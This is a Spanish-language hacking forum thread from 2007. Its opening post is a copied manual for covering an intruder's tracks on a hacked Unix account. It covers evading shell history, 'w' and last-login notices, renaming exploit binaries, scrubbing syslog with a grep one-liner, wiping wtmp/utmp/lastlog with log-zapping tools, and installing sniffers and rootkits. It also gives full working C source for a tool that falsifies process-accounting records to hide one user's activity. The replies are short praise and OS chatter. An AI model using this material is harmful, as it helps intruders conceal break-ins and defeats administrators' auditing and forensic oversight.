hacker


Ingresar con nombre de usuario, contraseña y duración de la sesión
| Portal Hacker | Editorial | Descargas | Ezine |
Inicio Ayuda Ingresar Registrarse
24 de Julio de 2008, 08:09:39
Noticias:
Para ver este enlace Registrate o Inicia Sesion
No te llega el mail de CONFIRMACION? (leer esto)

+  Foros pOrtal Hacker
|-+  Hacktivismo
| |-+  Hacking (Moderadores: askatasun, HolyKnight, kamui23, CHR0N05, - TuX -)
| | |-+  MANUAL: Borrando las huellas de entrada a un PC
0 Usuarios y 1 Visitante están viendo este tema. « anterior próximo »
Páginas: [1] Ir Abajo Imprimir
Autor Tema: MANUAL: Borrando las huellas de entrada a un PC  (Leído 474 veces)
RaKi0N
NZ5
*****
Desconectado Desconectado

Mensajes: 1,425


Muestralo con hechos,jamás con palabras


Ver Perfil
« : 13 de ſeptiembre de 2007, 12:31:22 »

Hola que hay... bueno, me topé con esto y creo que es interesante que empezeis a manejaros

en linux para borrar las huellas de entrada en el pc...

Contenido sacado de:
Para ver este enlace Registrate o Inicia Sesion
http://www.ulises2k.host.sk/textos/hacking/Borrar_huellas2.htm


  I. EL PRIMER COMANDO
   El primer comando que debes ejecutar despues de entrar a un sistema con
   una cuenta hackeada es cambiar de shell. El proposito es el evitar que
   los comandos que ejecutes terminen en el archivo .history
   Una revision de este archivo por el usuario real o el administrador
   revelaria tu presencia y lo que hiciste!
   Si estas ejecutando el shell CSH, entonces cambia a shell SH y vice versa.
$   <- Prompt SH
%   <-  prompt CSH
   Si no usan en el sistema los prompts standards, ejecuta SH. Si el prompt
   permanece igual escribe "exit" y ejecuta CSH ...
   II. ULTIMO TRABAJO CON LOS LOGS
   Si cuando entras a un sistema con una cuenta hackeada y aparece en tu
   pantalla un mensaje como "Last successful login from alpha.master.m il"
   significa que el usuario de esa cuenta es notificado desde donde entraron
   por ultima vez usando su cuenta. Para evadir este problema sin hackear
   root o no quieres borrar/editar archivos entonces ejecuta "rlogin <host>"
   y usa la misma cuenta para entrar al sistema de nuevo. despues escribe
   exit para regresar de nuevo a la primer entrada.
   Esto cambiara el texto avisando al usuario la proxima vez que entre
   un log asi <current host> o "localhost".
   III. EVASION DE WHO
   Despues de completar los pasos 1 y 2 escribe "w"...veras todos los
   usuarios actualmente en linea y tambien la direccion desde donde entraron.
   Si tu estas en Mexico y entras a un sistema americano, esto se vera muy
   sospechoso para los que usen "w".
   Para sobrepasar este error sin necesidad de ser root necesitas tan solo
   ejecutar "login" con el mismo username y password. Si ese sistema tiene
   el bug de las versiones recientes de unix, tu direccion origen sera
   modificada a "tty05".
   V. EJECUTAR PROGRAMAS
   No ejecutes programas con nombres sospechosos ... ISS y YPX son por
   ejemplo muy sospechosos y un administrador con un poco de cerebro
   notara algo raro cuando vea a un usuario ejecutando "loadmodule hack"
   en su Sun.
   Deberas copiar y renombrar los comandos para que nadie sospeche.
   La lista de procesos puede ser checada con "ps -ef" o "ps -auxwww" y
   los programas que consuman mas proceso del CPU apareceran con "top" ...
   asi que es muy facil monitorear los programas que los usuarios esten
   ejecutando.
   VI. TELNET
   Solo hay dos cosas que deben decirse sobre usar telnet con propositos de
   hackear. Primero NUNCA escribas "telnet objetivo.com.m x". Escribe "telnet"
   y despues "open objetivo.com.m x" que no mostrara como parametro en la lista
   de procesos a que sitio estas haciendo telnet. Segundo, algunos clientes
   telnet exportan variables de ambiente del sistema. Si tu hack es detectado
   y ellos pueden tracearte hasta el host origen ellos tambien tendran el
   nombre de la cuenta que usaste en el host origen. Asi que debes definir
   a cualquier cosa que quieras las siguientes variables antes de empezar
   telnet, rlogin o similares: USER, LOGNAME, UID, HOME, MAIL
   Para cambiar esas variables:
      SH : <variable>=<nuevo valor>;export <variable>
           ejemplo : USER=nadie;export USER
     CSH : setenv <variable> <nuevo valor>
           ejemplo : setenv USER nadie
   VII. REMUEVE TUS ARCHIVOS
   Cuanto intentes exploits -con exito o sin el- borralos inmediatamente
   despues de usarlos - especialmente si los usas en /tmp !
   Si realmente necesitas trabajar en el directorio temporal (/incoming /temp)
   entonces crea un directorio como ".X11", y dale atributo 711.

  -->   !  Los siguientes 2 puntos solo son posibles con acceso root !  <--
   VI. MODIFICAR LOS LOGS
   Los logs mas importantes son LASTLOG, WTMP y UTMP
   Si tuviste exito en volverte root debes modificarlas.
   Pueden ser usualmente encontrados en /etc, /var/adm o /var/log pero
   pueden estar en cualquier otra parte.
   Que herramientas debo usar? ZAP (o ZAP2) es bueno, pero no te BORRA de los
   logs sino sobre-escribe las entradas con ceros.
   Antes de compilar ZAP debes revisar los paths definidos para los logs!
   Debes usar CLOAK2 que cambia los datos importantes en los logs pero no es
   posible compilarlo en todos los sistemas.
   Tambien puedes intentar CLEAR que REALMENTE elimina las entradas.
   VII. SYSLOG & LASTCOMM
   Debes checar el archivo de mensajes del logfile donde tal vez las entradas
   con tu cuenta hackeada se encuentren ahi. Usualmente se encuentra en
   /var/adm o /var/log ... la mayor parte del tiempo se llama "messages" pero
   puede tener otros nombres.
   Revisa el archivo /etc/syslog.conf para saber el path y el nombre del
   archivo con los logs.
   
   Para remover tu nombre de host del archivo "messages" ejecuta:
   "grep -v tu.host.com messages > /tmp/tmpfile; mv /tmp/tmpfile messages"
   LASTCOMM es una herramienta para guardar todos los comandos ejecutados,
   es una MALIGNA herramienta contra hackers pero la mayoria de las veces
   no se encuentra instalada. Ahora no tienes nada que temer, obten el
   programa ACCT de Zhart's y siente la libertad.
   VIII. INSTALANDO TROYAS
   
   Cuando instales un sniffer, recuerda que cualquiera puede ejecutar
   "ifconfig -a" para revisar si la tarjeta esta en modo promiscuo. Obten un
   rootkit para tu sistema UNIX y reemplazalo.
   X. FIN
   Nunca seas flojo y recuerda revisar al 100% tus acciones - o afrenta las
   consecuencias!!
-------------------------------- ACCT CLEANER --------------------------------

Usage: <progname> -u user -f user [-t time]/[-b] [-p command] [-h]
-u user_login     (necessary) User to hide
-f user_login     (necessary) User to fake
-t hh:mm dd/mm/yy (if not -b) Start editing from this date
-b                (if not -t) Start editing from file's beginning
-p command_name    (optional) Fake user only about this command
-m                 (optional) CountDown Mask mode
-h                            This help and exit
If NO arguments are given program acts in interactive mode
 [- Configuration -]
You must "#undef LINUX" or comment the "#define LINUX" line if you're
compiling the program on a non-linux board.
Then you should verify that the acct file is in "/var/adm/acct", otherwise
you have to change the string "filename" in the "main" procedure.
You can set the default user id's of the user you want to hide and of the user
you want to show, stored in the variables "u_uid" & "f_uid"; this will work
if "-f" and/or "-u" options are omitted while "-b" or "-t" are used.
You can set the number of steps the program uses in the fast-search phase by
defining the pre-processor variable STEPS:
#define STEPS 500
Choose it by experimenting and comparing the dates reported by the program
(fast-search/slow-search) with the time taken to reach standard targets
(it depends on ACCT_file's size).
[ Beware that giving a starting time (when running the program) which is
relatively close (it depends on STEPS) to file's beginning time could
generate problems (tipically make the program exit without doing anything).
So, in this case, it's better (and more logical) to use the "beginning"
option. ]
   #### By Zhart/THC  (c) 1996 #### */
--------------------------------- Comienza Codigo-----------------------------
#define LINUX
#include <stdio.h>
#include <sys/types.h>
#include <sys/file.h>
#include <unistd.h>
#ifdef LINUX
#include <linux/acct.h>
#else
#include <sys/acct.h>
#endif
#include <time.h>
#include <pwd.h>
#include <strings.h>
#include <signal.h>
#include <fcntl.h>
#define SHOW    /* Comment this line if don't want explicit evil messages */
                  /* compiled with the program (to protect from "strings") */
#define PWD 0   /* Set it to 1 to ask for a password in interactive mode */
                               /* and not showing help from command line */
#define STEPS  500   /* Number of steps to go back in fast search */
#define COUNTD 20    /* CountDown seconds (for mask mode) */
int u_uid=0;         /* Default uid of user to hide */
int f_uid=3;         /* Default uid of user to show */
char p_name[16];     /* Program to assign to fake_user */
int b_flag=0;           /* Beginning (no date) flag */
int m_flag=0;           /* CountDown Mask Mode flag */
char filename[30];      /* acct logging file */

int vWd ()
/* validatePwd - verifies program password */
{
char word[10];
char token[10];
word[0] = 'z';
word[1] = 'h';
word[2] = 'a';
word[3] = 'r';
word[4] = 't';
word[5] = '\0';
scanf ("%s",token);
if (strcmp(token,word)) return(0);
else return(1);
}

void usage()
{
#ifdef SHOW
if (!PWD) {
  printf("\nUsage: <progname> -u user -f user [-t time]/[-b] [-p command] [-m] [-h]\n");
  printf("-u user_login     (necessary) User to hide\n");
  printf("-f user_login     (necessary) User to fake\n");
  printf("-t hh:mm dd/mm/yy (if not -b) Start editing from this date\n");
  printf("-b                (if not -t) Start editing from file's beginning\n");
  printf("-p command_name    (optional) Fake user only about this command\n");
  printf("-m                 (optional) CountDown Mask mode\n");
  printf("-h                            This help\n");
  printf("If NO arguments are given program acts in interactive mode\n\n");
  }
#endif
}
int vUsr(char *name)
/* verifyUser - returns the uid of a user's login name */
{
struct passwd *pwt;
if((pwt = getpwnam(name)) != NULL)
  return(pwt->pw_uid);
else {
#ifdef SHOW 
printf ("Error: %s is not a valid user\n",name);
#endif
  exit(1);
  }
}
int readParams(char *args[],int ac,long *i)
{
struct tm t;
int x;
if (ac==1) return(0);
else for(x = 1; x < ac; x++) {
  if(args
  • == '-')
    switch(args
  • [1]) {
      case 'u':                         /* username to hide */
                if((x + 1) < ac)
                   u_uid=vUsr(args[++x]);
                break;
               
      case 'f':                        /* fake user to be shown */
                if((x + 1) < ac)
                   f_uid=vUsr(args[++x]);       
                break;
      case 't':                        /* date since start scanning */
                if((x + 2) < ac)
         sscanf(args[++x],"%d:%d",&(t.tm_hour),&(t.tm_min));
                   sscanf(args[++x],"%d/%d/%d",&(t.tm_mday),&(t.tm_mon),&(t.tm_year));
                   t.tm_sec=0;
                   (t.tm_mon)--;
                   t.tm_wday=0;
                   t.tm_yday=0;
                   t.tm_isdst=0;
                   *i=mktime(&t);
#ifdef SHOW                   
                   printf ("\nInput time has been interpreted as: %.24s\n",ctime(i));
#endif
                break;
      case 'b':
                b_flag=1;
                break;
     
      case 'p':
                if((x+1) < ac)     
                  strcpy(p_name,args[++x]);
                break;
     
      case 'h': 
                usage();
                exit(1);
      case 'm':
                m_flag=1;
                break;
      }
  }
return(1);
}
void readDate (long *i)
/* Reads date and returns it in UTC (seconds) */
/* Interactive mode */
{
struct tm t;
printf("Please type time,day,month,year  Ex: 13:15 27/10/83\n --> ");
scanf("%d:%d %d/%d/%d",
&(t.tm_hour),&(t.tm_min),
&(t.tm_mday),&(t.tm_mon),&(t.tm_year));
t.tm_sec=0;
(t.tm_mon)--;
t.tm_wday=6;
t.tm_yday=0;
t.tm_isdst=0;
*i=mktime(&t);
printf ("Input time has been interpreted as: %.24s\n",ctime(i));
}
void rUsrs()
/* readUsers - Interactive mode */
{
char u_name[16];
char f_name[16];
#ifdef SHOW
printf("\nName of user to hide:");
#endif
printf("\n --> ");
scanf("%s",u_name);
u_uid=vUsr(u_name);
#ifdef SHOW
printf("\nName of user to show:");
#endif
printf("\n --> ");
scanf("%s",f_name);
f_uid=vUsr(f_name);
}
void Interactive(long *u_date)
{
char answer[16];
if (PWD) if (!vWd()) exit(1);
startEnd();
if (PWD) getchar();
printf ("Start from beginning? [y/N]: ");
if (getchar()=='y') b_flag=1;
  else readDate(u_date);
rUsrs();
/* readProg */
getchar();
printf ("\nSpecify command? [y/N]: ");
if (getchar()=='y') {
  printf(" ==> ");
  scanf("%s",answer);
  strcpy(p_name,answer);
  }
}

int startEnd()
/* Prints dates of first and last log */
{
struct acct actbuf;
int fd;
long endtime;
#ifdef SHOW
printf ("\n########   ACCT Handler by Zhart (c) 1996   ########\n");
#endif
/* Open acct file in read-only mode*/
if((fd = open(filename,O_RDONLY)) == -1 )
  return(-1);
/* read the buffer */
if(read(fd,(char *)&actbuf,sizeof(actbuf)) != sizeof(actbuf)) {
    (void)close(fd);
    return(0);
    }
endtime=actbuf.ac_btime+actbuf.ac_etime;
printf("\nFile starts at:  %.24s\n",ctime(&endtime));
/* GotoENd */
if(lseek(fd,(long)(-sizeof(actbuf)),SEEK_END) < 0) {
      (void)close(fd);
      return(0);
      }
/* Read the buffer */
if(read(fd,(char *)&actbuf,sizeof(actbuf)) != sizeof(actbuf)) {
    (void)close(fd);
    return(0);
    }
endtime=actbuf.ac_btime+actbuf.ac_etime;
printf("File ends at:    %.24s\n\n",ctime(&endtime));
(void)close(fd);
}

int reachFast (int fd,long u_date)
{
struct acct actbuf;
int found=0;
long endtime;
/* Set offset to end of file */
if(lseek(fd,(long)(-sizeof(actbuf)),SEEK_END) < 0) {
      (void)close(fd);
      return(0);
      }
while (!found) {
  /* Read the buffer */
  if(read(fd,(char *)&actbuf,sizeof(actbuf)) != sizeof(actbuf)) {
    (void)close(fd);
    return(0);
    }
  /* Verify date */
  endtime=actbuf.ac_btime+actbuf.ac_etime;
  if (endtime < u_date) found=1;
  else
    /* Go down of STEPS lines <------ */
    if(lseek(fd,(long)(-(STEPS*sizeof(actbuf))),SEEK_CUR) < 0) {
      (void)close(fd);
      return(0);
      }
  }
printf ("Date reached (fast): %.24s\n",ctime(&endtime));
}
int reachSlow (int fd,long u_date)
{
struct acct actbuf;
int found=0;
long endtime;
while (!found) {
  /* Read the buffer */
  if(read(fd,(char *)&actbuf,sizeof(actbuf)) != sizeof(actbuf)) {
    (void)close(fd);
    return(0);
    }
  /* Verify date */
  endtime=actbuf.ac_btime+actbuf.ac_etime;
  if (u_date<=endtime) found=1;
  }
printf ("Date reached (slow): %.24s\n",ctime(&endtime));
}

int verifyA (struct acct actbuf)
/* verifyAct - Verifies if acct record must be edited */
{
/* return(actbuf.ac_uid==u_uid); */
if (actbuf.ac_uid==u_uid)
  if (p_name[0]=='\0') return(1);
  else if (!strcmp(p_name,actbuf.ac_comm)) return (1);
return(0);
}

int editA(int fd,struct acct actbuf)
/* editAct - */
{
printf("#");
fflush(stdout);
actbuf.ac_uid = f_uid;
actbuf.ac_flag &= ~ASU;
if(lseek(fd,(long)(-sizeof(actbuf)),1) < 0) {
  (void)close(fd);
  return(0);
  }
if(write(fd,(char *)&actbuf,sizeof(actbuf)) != sizeof(actbuf)) {
  (void)close(fd);
  return(0);
  }
}

int scanA (int fd)
/* scanACCT - */
{
struct acct actbuf;
#ifdef SHOW
printf ("Scanning data ...\n");
#endif
while (1) {
  /* read buffer*/
  if(read(fd,(char *)&actbuf,sizeof(actbuf)) != sizeof(actbuf)) {
      (void)close(fd);
      return(0);
      }
  /* verify criteria matching and (eventually) start editing */
  if (verifyA(actbuf)) editA(fd,actbuf);
  }
}


main(int argc,char *argv[])
{
long u_date;
int fd;
filename[0]='/';
filename[1]='v';
filename[2]='a';
filename[3]='r';
filename[4]='/';
filename[5]='a';
filename[6]='d';
filename[7]='m';
filename[8]='/';
filename[9]='a';
filename[10]='c';
filename[11]='c';
filename[12]='t';
filename[13]='\0';
if (!readParams(argv,argc,&u_date)) Interactive(&u_date);
else startEnd();
if (m_flag) {
  setuid(0);
  sleep(COUNTD);
  }
/* Should insert a date validation */
#ifdef SHOW
printf ("\nHiding user id: %d Showing user id: %d\n",u_uid,f_uid);
#endif
/* Open ACCT file in read/write mode */
if((fd = open(filename,O_RDWR)) == -1 )
  return(-1);
if (!b_flag) {
  reachFast(fd,u_date);
  reachSlow(fd,u_date);
  }
scanA(fd);
(void)close(fd);
printf("\n");
}
En línea

¿El anonimato? ¿En la red? ¿Tu crees?
Ther0x
NZ3
***
Desconectado Desconectado

Mensajes: 887


Ther0x returns... And stronger than ever...


Ver Perfil WWW
« Respuesta #1 : 13 de ſeptiembre de 2007, 01:20:01 »

Buen manual!!
En línea


Para ver este enlace Registrate o Inicia Sesion
ÄìmBòt
NZ2
**
Desconectado Desconectado

Mensajes: 350



Ver Perfil
« Respuesta #2 : 13 de ſeptiembre de 2007, 02:52:59 »

Buen tuto
En línea

RaKi0N
NZ5
*****
Desconectado Desconectado

Mensajes: 1,425


Muestralo con hechos,jamás con palabras


Ver Perfil
« Respuesta #3 : 14 de ſeptiembre de 2007, 04:47:02 »

Esque todos usais win... eso es lo malo xDD
En línea

¿El anonimato? ¿En la red? ¿Tu crees?
DaRkNeSlOrD
Recien llegado
*
Desconectado Desconectado

Mensajes: 4


Ver Perfil
« Respuesta #4 : 14 de ſeptiembre de 2007, 06:26:35 »

a mi em gusta mas linux, tengo los dos Cheesy:D aunque con linux no me entiendo... no se como configurar una red wifi (teniendo yo un dispositivo conectarme a otro) y otras cosas amas xDD asiq si me explicas pos usare linux obviamente xDD
En línea
RaKi0N
NZ5
*****
Desconectado Desconectado

Mensajes: 1,425


Muestralo con hechos,jamás con palabras


Ver Perfil
« Respuesta #5 : 14 de ſeptiembre de 2007, 07:51:39 »

Jeje, yo tengo un portátil y una torre, en la torre uso Win y en el portátil Debian.

Es mejor linux, pero para los juegos y eso...
En línea

¿El anonimato? ¿En la red? ¿Tu crees?
Páginas: [1] Ir Arriba Imprimir 
« anterior próximo »
Ir a:  


Ingresar con nombre de usuario, contraseña y duración de la sesión

Powered by SMF 1.1.5 | SMF © 2006-2008, Simple Machines LLC hacker

Juegos gratis - Articulos PHP - Juegos - Trucos - Letras - Juegos - Juegos Online